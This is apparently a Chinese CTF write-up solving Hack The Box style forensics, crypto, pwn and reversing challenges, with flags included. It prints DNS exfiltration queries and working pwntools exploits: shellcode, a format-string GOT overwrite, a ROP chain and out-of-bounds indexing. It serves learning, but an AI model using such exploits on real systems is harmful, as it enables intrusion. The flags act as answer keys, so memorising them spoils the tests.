一个外国简单比赛,好多人队都答了25题,由于web不会,misc不熟,作了misc3,crypto4,pwn5,rev5不过有的找不到了,慢慢找。
附件也是个流量包,打开后在尾部有数据,追踪TCP流可以看到base64的码
显然是反过来放的,转回来解码得到flag
>>> a = "==gC9FSI5tGMwA3cfRjd0o2Xz0GNjNjYfR3c1p2Xn5WMyBXNfRjd0o2eCRFS"
>>> from base64 import *
>>> b64decode(a[::-1])
b'HTB{j4v4_5pr1ng_just_b3c4m3_j4v4_sp00ky!!}\n'
下来的附件是个流量包,全是DNS请求
Standard query 0xa49f A 504b0304140008080800a52c47550000000000000000000000.pumpkincorp.com
Standard query response 0xa49f A 504b0304140008080800a52c47550000000000000000000000.pumpkincorp.com A 147.182.172.189
Standard query 0xdd23 A 0018000000786c2f64726177696e67732f64726177696e6731.pumpkincorp.com
Standard query response 0xdd23 A 0018000000786c2f64726177696e67732f64726177696e6731.pumpkincorp.com A 147.182.172.189
Standard query 0xcf3f A 2e786d6c9dd05d6ec2300c07f013ec0e55de695a181343145e.pumpkincorp.com
Standard query response 0xcf3f A 2e786d6c9dd05d6ec2300c07f013ec0e55de695a181343145e.pumpkincorp.com A 147.182.172.189
显然请求的pumpkincorp.com前的部分是16进制编码的数据,把这些数据弄下来,得到一个PK开头的文件,是个excel文件,打开后有flag
作了一部分后边不知道怎么找了
┌──(kali㉿kali)-[~/ctf/pwn_spooky_time]
└─$ nc 161.35.33.243 30240
+-----------+---------------------------------------------------------+
| Title | Description |
+-----------+---------------------------------------------------------+
| Downgrade | During recent auditing, we noticed that |
| | network authentication is not forced upon remote |
| | connections to our Windows 2012 server. That |
| | led us to investigate our system for |
| | suspicious logins further. Provided the server's event |
| | logs, can you find any suspicious successful |
| | login? |
+-----------+---------------------------------------------------------+
Which event log contains information about logon and logoff events? (for example: Setup)
> Security
[+] Correct!
What is the event id for logs for a successful logon to a local computer? (for example: 1337)
> 4624
[+] Correct!
Which is the default Active Directory authentication protocol? (for example: http)
> Kerberos
[+] Correct!
Looking at all the logon events, what is the AuthPackage that stands out as different from all the rest? (for example: http)
> NTLM
[+] Correct!
[-] Wrong Answer.
What is the timestamp of the suspicious login (yyyy-MM-ddTHH:mm:ss) UTC? (for example, 2021-10-10T08:23:12)
>
看了个WP,其实就差一点了,认证协议只有3种,所以猜中第3题,第4题,第4题是仅出现一次的情况,所以显然可疑的登录就是唯一的这一个,登录时间是 2022/09/28 21:10:57但试过不对,看WP应该是输入2022-09-28T13:10:57(这个应该标准时间,输入的是+8的)
题目给了两个有限域的一元方程
import random
FLAG = b'HTB{??????????????????????????????????????????????????????????????????????}'
def gen_params():
p = getPrime(1024)
g = random.randint(2, p-2)
x = random.randint(2, p-2)
h = pow(g, x, p)
return (p, g, h), x
def encrypt(pubkey):
p, g, h = pubkey
m = bytes_to_long(FLAG)
y = random.randint(2, p-2)
s = pow(h, y, p)
return (g * y % p, m * s % p)
def main():
pubkey, privkey = gen_params()
c1, c2 = encrypt(pubkey)
with open('data.txt', 'w') as f:
f.write(f'p = {pubkey[0]}\ng = {pubkey[1]}\nh = {pubkey[2]}\n(c1, c2) = ({c1}, {c2})\n')
if __name__ == "__main__":
main()
两个方程式:c1 = g*y %p; c2 = m*pow(h,y,p)%p 其中p,g,h,c1,c2已知,通过第1式得到y再通过第2式得到m
p = 163096280281091423983210248406915712517889481034858950909290409636473708049935881617682030048346215988640991054059665720267702269812372029514413149200077540372286640767440712609200928109053348791072129620291461211782445376287196340880230151621619967077864403170491990385250500736122995129377670743204192511487
g = 90013867415033815546788865683138787340981114779795027049849106735163065530238112558925433950669257882773719245540328122774485318132233380232659378189294454934415433502907419484904868579770055146403383222584313613545633012035801235443658074554570316320175379613006002500159040573384221472749392328180810282909
h = 36126929766421201592898598390796462047092189488294899467611358820068759559145016809953567417997852926385712060056759236355651329519671229503584054092862591820977252929713375230785797177168714290835111838057125364932429350418633983021165325131930984126892231131770259051468531005183584452954169653119524751729
(c1, c2) = (159888401067473505158228981260048538206997685715926404215585294103028971525122709370069002987651820789915955483297339998284909198539884370216675928669717336010990834572641551913464452325312178797916891874885912285079465823124506696494765212303264868663818171793272450116611177713890102083844049242593904824396, 119922107693874734193003422004373653093552019951764644568950336416836757753914623024010126542723403161511430245803749782677240741425557896253881748212849840746908130439957915793292025688133503007044034712413879714604088691748282035315237472061427142978538459398404960344186573668737856258157623070654311038584)
#c1 = g*y %p
from gmpy2 import *
y = c1 * invert(g,p) % p
print(y)
#c2 = m * s %p , s = h**y %p
s = pow(h,y,p)
m = c2 * invert(s, p) % p
print(long_to_bytes(m))
#HTB{b3_c4r3ful_wh3n_1mpl3m3n71n6_cryp705y573m5_1n_7h3_mul71pl1c471v3_6r0up}
这个想了半天没想到怎么弄,用欧拉伪素数判断方法。在网上能搜到足够的卡迈尔数和一个快速生成方法,但是显然对比的是-1而不是1所以实现不了。等WP吧
终于找到一个,从一篇论文里有一个300以下base 的强伪素数
p = 29674495668685510550154174642905332730771991799853043350995075531276838753171770199594238596428121188033664754218345562493168782883
n = p *(313*(p - 1) + 1)*(353 * (p - 1) + 1)
#2887148238050771212671429597130393991977609459279722700926516024197432303799152733116328983144639225941977803110929349655578418949441740933805615113979999421542416933972905423711002751042080134966731755152859226962916775325475044445856101949404200039904432116776619949629539250452698719329070373564032273701278453899126120309244841494728976885406024976768122077071687938121709811322297802059565867
输入这个数就OK了,主要是考验互联网搜论文的能力,不过按他的链接没有找到他的结果。
from secret import FLAG
from Crypto.Util.number import isPrime
import socketserver
import signal
class Handler(socketserver.BaseRequestHandler):
def handle(self):
signal.alarm(0)
main(self.request)
class ReusableTCPServer(socketserver.ForkingMixIn, socketserver.TCPServer):
pass
def sendMessage(s, msg):
s.send(msg.encode())
def receiveMessage(s, msg):
sendMessage(s, msg)
return s.recv(4096).decode().strip()
def generate_basis(n):
basis = [True] * n
for i in range(3, int(n**0.5) + 1, 2):
if basis[i]:
basis[i * i::2 * i] = [False] * ((n - i * i - 1) // (2 * i) + 1)
return [2] + [i for i in range(3, n, 2) if basis[i]]
def millerRabin(n, b):
basis = generate_basis(300)
if n == 2 or n == 3:
return True
if n % 2 == 0:
return False
r, s = 0, n - 1
while s % 2 == 0:
r += 1
s //= 2
for b in basis:
x = pow(b, s, n)
if x == 1 or x == n - 1:
continue
for _ in range(r - 1):
x = pow(x, 2, n)
if x == n - 1:
break
else:
return False
return True
def _isPrime(p):
if p < 1:
return False
if (p.bit_length() <= 600) and (p.bit_length() > 1500):
return False
if not millerRabin(p, 300):
return False
return True
def main(s):
p = receiveMessage(s, "Give p: ")
try:
p = int(p)
except:
sendMessage(s, "Error!")
if _isPrime(p) and not isPrime(p):
sendMessage(s, FLAG)
else:
sendMessage(s, "Conditions not satisfied!")
if __name__ == '__main__':
socketserver.TCPServer.allow_reuse_address = True
server = ReusableTCPServer(("0.0.0.0", 1337), Handler)
server.serve_forever()
题和解法找不到了,这个应该是很简单就没写
给了两个程序,一个是server另一个是encrypt,其中server可以选择加密方式,加密和取加密后的flag,
from encrypt import Encryptor
from secret import FLAG
import socketserver
import random
import signal
import json
MODES = ['ECB', 'CBC', 'CFB', 'OFB', 'CTR']
class Handler(socketserver.BaseRequestHandler):
def handle(self):
signal.alarm(0)
main(self.request)
class ReusableTCPServer(socketserver.ForkingMixIn, socketserver.TCPServer):
pass
def sendMessage(s, msg):
s.send(msg.encode())
def receiveMessage(s, msg):
sendMessage(s, msg)
return s.recv(4096).decode().strip()
def main(s):
mode = random.choice(MODES)
enc = Encryptor()
while True:
try:
sendMessage(s,
f"Please interact with the server using json data!\n")
sendMessage(s, f"Selected mode is {mode}.\n")
payload = receiveMessage(
s,
"\nOptions:\n\n1.Encrypt flag\n2.Encrypt plaintext\n3.Change mode\n4.Exit\n\n> "
)
payload = json.loads(payload)
option = payload["option"]
if option == "1":
ciphertext = enc.encrypt(FLAG, mode).hex()
response = json.dumps({
"response": "encrypted",
"ciphertext": ciphertext
})
sendMessage(s, "\n" + response + "\n")
elif option == "2":
payload = receiveMessage(s, "Enter plaintext: \n")
payload = json.loads(payload)
plaintext = payload['plaintext'].encode()
ciphertext = enc.encrypt(plaintext, mode).hex()
response = json.dumps({
"response": "encrypted",
"ciphertext": ciphertext
})
sendMessage(s, "\n" + response + "\n")
elif option == "3":
response = json.dumps({"modes": MODES})
sendMessage(
s, "These are the supported modes\n" + response + "\n")
payload = receiveMessage(s, "Expecting modes: \n")
payload = json.loads(payload)
mode = random.choice(payload['modes'])
elif option == "4":
sendMessage(s, "Bye bye\n")
exit()
except Exception as e:
response = json.dumps({"response": "error", "message": str(e)})
sendMessage(s, "\n" + response + "\n")
exit()
if __name__ == "__main__":
socketserver.TCPServer.allow_reuse_address = True
server = ReusableTCPServer(("0.0.0.0", 1337), Handler)
server.serve_forever()
encrypt.py就是用指定的加密方式加密没有问题,略。
漏洞就在于选择加密方式时,可选项由用户输入,这样可以选择CTR加密方式,CTR加密里先生成z0,z1...然后再与明文异或得到密文。这样只要随便输入个明文得到加密结果后就得到了z再与flag的密文异或即可。我输入的是64个0
from pwn import *
a = bytes.fromhex("cdfd3535ef16e064f07bc31843a236f8a8f5af32d8cf6994562bcb973dc223de285a15605cb3b72012bcfd3c69e765f76f6751b52a1cc45b999d78f91fbc8996")
b = bytes.fromhex("b599477e94489f038e14834412a348ffabf2e735b79e6e93075890f861c32a862f5f7a6724b0d86763d5923b31a53a92661f3ee85b628d34e4c22cfa55f1bba48d77ba3555a05476b1e57098b18175ed")
c = b'0'*64
m =bytes([a[i]^b[i]^c[i] for i in range(64)])
print(m)
#b'HTB{KnOWN_pla1N737x7_a77aCk_l19h75_7H3_wAY_7hroU9H_mANy_Mod3z}\x02\x02'
一个自制的加密,先将每个字符右移4位再与左移3位或,再作hash,要求输入明文不同但密文相同的值。
from secret import FLAG
from hashlib import sha512
import socketserver
import signal
from random import randint
WELCOME = """
**************** Welcome to the Hash Game. ****************
* *
* Hash functions are really spooky. *
* In this game you will have to face your fears. *
* Can you find a colision in the updated sha512? *
* *
***********************************************************
"""
class Handler(socketserver.BaseRequestHandler):
def handle(self):
signal.alarm(0)
main(self.request)
class ReusableTCPServer(socketserver.ForkingMixIn, socketserver.TCPServer):
pass
def sendMessage(s, msg):
s.send(msg.encode())
def receiveMessage(s, msg):
sendMessage(s, msg)
return s.recv(4096).decode().strip()
class ahs512():
def __init__(self, message):
self.message = message
self.key = self.generateKey()
def generateKey(self):
while True:
key = randint(2, len(self.message) - 1)
if len(self.message) % key == 0:
break
return key #2,4,5,10
def transpose(self, message): #随机值,但仅有2,4,5,10四种,当两次的随机数相同时即可
transposed = [0 for _ in message]
columns = len(message) // self.key
for i, char in enumerate(message):
row = i // columns
col = i % columns
transposed[col * self.key + row] = char
return bytes(transposed)
def rotate(self, message):
return [((b >> 4) | (b << 3)) & 0xff for b in message] #首位与尾位有重叠,将任一字符的尾位放在首位即可(原首位为0)
def hexdigest(self):
transposed = self.transpose(self.message)
rotated = self.rotate(transposed)
return sha512(bytes(rotated)).hexdigest()
def main(s):
sendMessage(s, WELCOME)
original_message = b"pumpkin_spice_latte!" # 70756d706b696e5f73706963655f6c61747465a0
original_digest = ahs512(original_message).hexdigest()
sendMessage(
s,
f"\nFind a message that generate the same hash as this one: {original_digest}\n"
)
while True:
try:
message = receiveMessage(s, "\nEnter your message: ")
message = bytes.fromhex(message)
digest = ahs512(message).hexdigest()
if ((original_digest == digest) and (message != original_message)):
sendMessage(s, f"\n{FLAG}\n")
else:
sendMessage(s, "\nConditions not satisfied!\n")
except KeyboardInterrupt:
sendMessage(s, "\n\nExiting")
exit(1)
except Exception as e:
sendMessage(s, f"\nAn error occurred while processing data: {e}\n")
if __name__ == '__main__':
socketserver.TCPServer.allow_reuse_address = True
server = ReusableTCPServer(("0.0.0.0", 1337), Handler)
server.serve_forever()
这里右4左3存在重叠,只要把明文的任一字符末位方到首位即可,我改的最后一个!由0x21->0xa0
from pwn import *
context.log_level = 'debug'
while True:
p = remote('139.59.167.169', 32069)
p.sendlineafter(b'Enter your message: ', b'70756d706b696e5f73706963655f6c61747465a0')
p.recvline()
m = p.recvline()
if b'not satisfied!' not in m:
print(m)
p.close()
先看源文
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
__int16 v3; // [rsp+4h] [rbp-4Ch] BYREF
__int16 v4; // [rsp+6h] [rbp-4Ah] BYREF
FILE *stream; // [rsp+8h] [rbp-48h]
char s[8]; // [rsp+10h] [rbp-40h] BYREF
__int64 v7; // [rsp+18h] [rbp-38h]
__int64 v8; // [rsp+20h] [rbp-30h]
__int64 v9; // [rsp+28h] [rbp-28h]
__int64 v10; // [rsp+30h] [rbp-20h]
__int64 v11; // [rsp+38h] [rbp-18h]
unsigned __int64 v12; // [rsp+48h] [rbp-8h]
v12 = __readfsqword(0x28u);
setup(argc, argv, envp);
banner();
v3 = 0;
v4 = 0;
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
menu();
__isoc99_scanf("%d", &v3);
printf("\nHow many do you want?\n\n>> ");
__isoc99_scanf("%d", &v4);
if ( v4 > 0 )
break;
printf("%s\n[-] You cannot buy less than 1!\n", "\x1B[1;31m");
}
pumpcoins -= values[v3] * v4;
if ( pumpcoins >= 0 )
break;
printf("\nCurrent pumpcoins: [%s%d%s]\n\n", "\x1B[1;33m", (unsigned int)pumpcoins, "\x1B[1;34m");
printf("%s\n[-] Not enough pumpcoins for this!\n\n%s", "\x1B[1;31m", "\x1B[1;34m");
}
if ( v3 == 1 )
{
printf("\nCurrent pumpcoins: [%s%d%s]\n\n", "\x1B[1;33m", (unsigned int)pumpcoins, "\x1B[1;34m");
puts("\nGood luck crafting this huge pumpkin with a shovel!\n");
}
else
{
if ( pumpcoins > 9998 )
{
*(_QWORD *)s = 0LL;
v7 = 0LL;
v8 = 0LL;
v9 = 0LL;
v10 = 0LL;
v11 = 0LL;
stream = fopen("./flag.txt", "rb");
if ( !stream )
{
puts("Error opening flag.txt, please contact an Administrator!\n");
exit(1);
}
fgets(s, 48, stream);
printf("%s\nCongratulations, here is the code to get your laser:\n\n%s\n\n", "\x1B[1;32m", s);
exit(22);
}
printf("%s\n[-] Not enough pumpcoins for this!\n\n%s", "\x1B[1;31m", "\x1B[1;34m");
}
}
}
显然当这里的偏移v3得到一个负值就能成功,而v3又没有作前边界检查,从values向前看
.got:0000000000201FF8 98 20 20 00 00 00 00 00 __cxa_finalize_ptr dq offset __imp___cxa_finalize
.got:0000000000201FF8 ; DATA XREF: __cxa_finalize↑r
.got:0000000000201FF8 ; __do_global_dtors_aux+9↑r
.got:0000000000201FF8 _got ends
.got:0000000000201FF8
.data:0000000000202000 ; ===========================================================================
.data:0000000000202000
.data:0000000000202000 ; Segment type: Pure data
.data:0000000000202000 ; Segment permissions: Read/Write
.data:0000000000202000 _data segment qword public 'DATA' use64
.data:0000000000202000 assume cs:_data
.data:0000000000202000 ;org 202000h
.data:0000000000202000 public __data_start ; weak
.data:0000000000202000 00 __data_start db 0 ; Alternative name is '__data_start'
.data:0000000000202000 ; data_start
.data:0000000000202001 00 db 0
.data:0000000000202002 00 db 0
.data:0000000000202003 00 db 0
.data:0000000000202004 00 db 0
.data:0000000000202005 00 db 0
.data:0000000000202006 00 db 0
.data:0000000000202007 00 db 0
.data:0000000000202008 public __dso_handle
.data:0000000000202008 ; void *_dso_handle
.data:0000000000202008 08 20 20 00 00 00 00 00 __dso_handle dq offset __dso_handle ; DATA XREF: __do_global_dtors_aux+17↑r
.data:0000000000202008 ; .data:__dso_handle↓o
.data:0000000000202010 public values
它距离got表很近,当向前越界到got时,如果这一项已经有libc的值大概率会是负整数,输入-6即可。
这个很良心给了源码
#include
#include
#include
static union {
unsigned long long integer;
char string[8];
} DataStore;
typedef enum {
STORE_GET,
STORE_SET,
FLAG
} action_t;
typedef enum {
INTEGER,
STRING
} field_t;
typedef struct {
action_t act;
field_t field;
} menu_t;
menu_t menu() {
menu_t res = { 0 };
char buf[32] = { 0 };
printf("\n(T)ry to turn it off\n(R)un\n(C)ry\n\n>> ");
fgets(buf, sizeof(buf), stdin);
buf[strcspn(buf, "\n")] = 0;
switch (buf[0]) {
case 'T':
res.act = STORE_SET;
break;
case 'R':
res.act = STORE_GET;
break;
case 'C':
res.act = FLAG;
return res;
default:
puts("\nWhat's this nonsense?!");
exit(-1);
}
printf("\nThis does not seem to work.. (L)ie down or (S)cream\n\n>> ");
fgets(buf, sizeof(buf), stdin);
buf[strcspn(buf, "\n")] = 0;
switch (buf[0]) {
case 'L':
res.field = INTEGER;
break;
case 'S':
res.field = STRING;
break;
default:
printf("\nYou are doomed!\n");
exit(-1);
}
return res;
}
void set_field(field_t f) {
char buf[32] = {0};
printf("\nMaybe try a ritual?\n\n>> ");
fgets(buf, sizeof(buf), stdin);
switch (f) {
case INTEGER:
sscanf(buf, "%llu", &DataStore.integer);
if (DataStore.integer == 13371337) {
puts("\nWhat's this nonsense?!");
exit(-1);
}
break;
case STRING:
memcpy(DataStore.string, buf, sizeof(DataStore.string));
break;
}
}
void get_field(field_t f) {
printf("\nAnything else to try?\n\n>> ");
switch (f) {
case INTEGER:
printf("%llu\n", DataStore.integer);
break;
case STRING:
printf("%.8s\n", DataStore.string);
break;
}
}
void get_flag() {
if (DataStore.integer == 13371337) {
system("cat flag.txt");
exit(0);
} else {
puts("\nSorry, this will not work!");
}
}
int main() {
setvbuf(stdout, NULL, _IONBF, 0);
bzero(&DataStore, sizeof(DataStore));
printf("\nSomething strange is coming out of the TV..\n");
while (1) {
menu_t result = menu();
switch (result.act) {
case STORE_SET:
set_field(result.field);
break;
case STORE_GET:
get_field(result.field);
break;
case FLAG:
get_flag();
break;
}
}
}
它定义了一个结构可以放串或数字,检查数字是13371337即可给flag但在输入时仅检查数字,把13371337作为字符串写入即可
from pwn import *
#p = process('./entity')
p = remote('178.62.85.130', 32321)
p.sendlineafter(b'>> ', b'T')
p.sendlineafter(b'>> ', b'S')
p.sendlineafter(b'>> ', p64(13371337))
p.sendlineafter(b'>>', b'C')
print(p.recvline())
这题栈可执行,所以就直接来shellcode就行了,不过用seccomp限制只能用openat,read,write这也不难,有个坑点,一般打开的flag文件id号是3,然后习惯于写3,但这个不是,所以打开文件后读的时候应该取rax的值。
openat的1参与不好弄,直接用绝对路径略过
from pwn import *
p = remote('167.71.138.188', 31251)
#p = process('./pumpking')
elf = ELF('./pumpking')
context.arch='amd64'
context.log_level = 'debug'
#gdb.attach(p)
#pause()
p.sendlineafter(b': ', b"pumpk1ngRulez")
shellcode = '''
push 0x7478
mov rax, 0x742e67616c662f66
push rax
mov rax,0x74632f656d6f682f
push rax
mov rdi, 0
mov rsi, rsp
xor rdx, rdx
xor rcx, rcx
push 257
pop rax
syscall
mov rdi,rax /* file id */
mov rsi,rsp
mov rdx,0x50
mov rax,0
syscall
mov rax,1
mov rdi,1
mov rsi,rsp
mov rdx,0x150
syscall
'''
#shellcode = "mov rdi,1;mov rsi,rsp;sub rsi,0x100;mov rdx,0x500;mov rax,1;syscall"
shellcode = asm(shellcode)
p.sendlineafter(b'>> \0\0', shellcode)
print(p.recvall())
#p.shutdown()
p.interactive()
这题有两次执行无固定格式串的printf
int __cdecl main(int argc, const char **argv, const char **envp)
{
char format[12]; // [rsp+4h] [rbp-14Ch] BYREF
char v6[312]; // [rsp+10h] [rbp-140h] BYREF
unsigned __int64 v7; // [rsp+148h] [rbp-8h]
v7 = __readfsqword(0x28u);
setup();
banner();
puts("It's your chance to scare those little kids, say something scary!\n");
__isoc99_scanf("%11s", format);
puts("\nSeriously?? I bet you can do better than ");
printf(format);
puts("\nAnyway, here comes another bunch of kids, let's try one more time..");
puts("\n");
__isoc99_scanf("%299s", v6);
puts("\nOk, you are not good with that, do you think that was scary??\n");
printf(v6);
puts("Better luck next time!\n");
return v7 - __readfsqword(0x28u);
}
第1次有长度限制,恰好可以从3和51分别得到题目加载地址和libc地址
第2次想不到好办法,由于one_gadget本身不一定能用,所以不优先考虑,没办法了回到这,将got.puts改为one[1]
from pwn import *
#p = process('./spooky_time')
p = remote('161.35.164.157',31653)
context(arch='amd64', log_level='debug')
elf = ELF('./spooky_time')
libc_elf = ELF('./glibc/libc.so.6')
p.sendlineafter(b"It's your chance to scare those little kids, say something scary!\n\n", b'%51$p,%3$p')
p.recvuntil(b'Seriously?? I bet you can do better than \n')
pwn_base = int(p.recvuntil(b',', drop=True), 16) - elf.sym['main']
libc_base = int(p.recvline(), 16) - libc_elf.sym['write'] - 23
libc_elf.address = libc_base
elf.address = pwn_base
print('pwn:', hex(pwn_base))
print('libc:', hex(libc_base))
one = [0x50a37, 0xebcf1, 0xebcf5, 0xebcf8]
payload = fmtstr_payload(8, {elf.got['puts']: libc_base + one[2]})
p.sendlineafter(b"let's try one more time..\n\n", payload)
p.interactive()
#HTB{n0th1ng_sc4r1eR_th4n_fsb_w1th0ut_r3lR0}
这题有个提示:用了自制libc。所以虽然可以溢出但无法利用system,只能用ROP,而只提供了rsi,rdi没有rdx所以3参有点麻烦。
ssize_t finale()
{
char buf[64]; // [rsp+0h] [rbp-40h] BYREF
printf("\n[Strange man in mask]: Season finale is here! Take this souvenir with you for good luck: [%p]", buf);
printf("\n\n[Strange man in mask]: Now, tell us a wish for next year: ");
fflush(stdin);
fflush(_bss_start);
read(0, buf, 0x1000uLL);
return write(1, "\n[Strange man in mask]: That's a nice wish! Let the Spooktober Spirit be with you!\n\n", 0x54uLL);
}
非常直白的一个溢出0x1000,当read时发现rdx=0,于是向前找能不能有个ret前rdx有值的,找到0x401476也就是这个read后也write三参的位置。然后在read前先调用它得到rdx再执行后边的操作。这前边用到leave;ret还要把溢出时破坏的rbp给恢复一下
from pwn import *
#p = process('./finale')
p = remote('161.35.33.243', 30917)
context.log_level = 'debug'
context.arch = 'amd64'
elf = ELF('./finale')
pop_rbp = 0x00000000004012bd # pop rbp ; ret
pop_rdi = 0x00000000004012d6 # pop rdi ; ret
pop_rsi = 0x00000000004012d8 # pop rsi ; ret
#gdb.attach(p, 'b*0x40148f')
p.sendlineafter(b'tell us the secret phrase: ', b's34s0nf1n4l3b00')
p.recvuntil(b'with you for good luck: [')
stack = int(p.recvuntil(b']', drop=True), 16)
pay = b'flag.txt'.ljust(0x48,b'\x00')
pay+= flat(pop_rdi, stack, pop_rsi, 0, elf.plt['open'])
pay+= flat(pop_rbp, stack+0x80, 0x401476, pop_rdi,3, pop_rsi, 0x404200, elf.plt['read'])
pay+= flat(pop_rdi, 0x404200, elf.plt['puts'])
p.sendlineafter(b'Now, tell us a wish for next year: ', pay)
p.recvuntil(b'Let the Spooktober Spirit be with you!\n\n')
print(p.recvline())
p.interactive()
IDA打开可以看到flag
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[64]; // [rsp+0h] [rbp-40h] BYREF
setvbuf(_bss_start, 0LL, 2, 0LL);
puts("\x1B[3mYou knock on the door and a panel slides back\x1B[0m");
puts(asc_2040);
fwrite("\"What is the password for this week's meeting?\" ", 1uLL, 0x30uLL, _bss_start);
fgets(s, 64, stdin);
*strchr(s, 10) = 0;
if ( !strcmp(s, "sup3r_s3cr3t_p455w0rd_f0r_u!") )
{
puts("\x1B[3mThe panel slides closed and the lock clicks\x1B[0m");
puts("| | \"Welcome inside...\" ");
system("/bin/sh");
}
else
{
puts(" \\/");
puts(asc_2130);
}
return 0;
}
这是个32位程序,不能反编译,也看不明白流程,跟进去执行然后在内存里搜HTB找到flag
'''
gdb-peda$ find HTB
Searching for 'HTB' in: None ranges
Found 6 results, display max 6 items:
[heap] : 0x5555555757ed ("HTB{PLz_strace_M333}")
[heap] : 0x555555575830 ("HTB{PLz_strace_M333}")
[heap] : 0x5555555758a0 ("HTB{PLz_strace_M333}")
[heap] : 0x5555555758e8 ("HTB{PLz_strace_M333}\n")
[heap] : 0x555555576420 ("HTB{PLz_strace_M333}\n")
[stack] : 0x7fffffffefdb ("HTB{PLz_strace_M333}")
'''
找不着题了,应该是极简题
ida打开看到类似flag的串
setvbuf(stdout, 0LL, 2, 0LL);
v6 = strdup("ZLT{Svvafy_kdwwhk_lg_qgmj_ugvw_escwk_al_wskq_lg_ghlaearw_dslwj!}");
puts("Retrieving key.");
sleep(0xAu);
猜是移位密码
a = "ZLT{Svvafy_kdwwhk_lg_qgmj_ugvw_escwk_al_wskq_lg_ghlaearw_dslwj!}"
flag = ''
for v in a:
if 'A'<= v <= 'Z':
flag += chr((ord(v)- 0x41 + 8)% 26 + 0x41 )
elif 'a'<= v <= 'z':
flag += chr((ord(v)- 0x61 + 8)% 26 + 0x61 )
else:
flag += v
print(flag)
#HTB{Adding_sleeps_to_your_code_makes_it_easy_to_optimize_later!}
因为其它题都特别简单,这题猜他用的标准的库
__int64 __fastcall sub_16AF(__int64 a1, unsigned int a2, __int64 a3)
{
__int64 v4; // rax
unsigned int v6; // [rsp+28h] [rbp-48h] BYREF
unsigned int v7; // [rsp+2Ch] [rbp-44h]
const char *v8; // [rsp+30h] [rbp-40h]
__int64 v9; // [rsp+38h] [rbp-38h]
char v10[40]; // [rsp+40h] [rbp-30h] BYREF
unsigned __int64 v11; // [rsp+68h] [rbp-8h]
v11 = __readfsqword(0x28u);
qmemcpy(v10, "supersecretkeyusedforencryption!", 32);
v8 = "someinitialvalue";
v9 = EVP_CIPHER_CTX_new();
if ( !v9 )
return 0LL;
v4 = EVP_aes_256_cbc();
if ( (unsigned int)EVP_DecryptInit_ex(v9, v4, 0LL, v10, v8) != 1 )
return 0LL;
if ( (unsigned int)EVP_DecryptUpdate(v9, a3, &v6, a1, a2) != 1 )
return 0LL;
v7 = v6;
if ( (unsigned int)EVP_DecryptFinal_ex(v9, (int)v6 + a3, &v6) != 1 )
return 0LL;
v7 += v6;
EVP_CIPHER_CTX_free(v9);
return v7;
}
看名字是aes_256_cbc直接用程序解密
from Crypto.Cipher import AES
key = b"supersecretkeyusedforencryption!"
iv = b"someinitialvalue"
c = bytes.fromhex('5f558867993dccc99879f7ca39c5e406972f84a3a9dd5d48972421ff375cb18c')
aes = AES.new(key,AES.MODE_CBC,iv)
m = aes.decrypt(c)
print(m)
#b'HTB{vryS3CuR3_F1L3_TR4nsf3r}\x04\x04\x04\x04'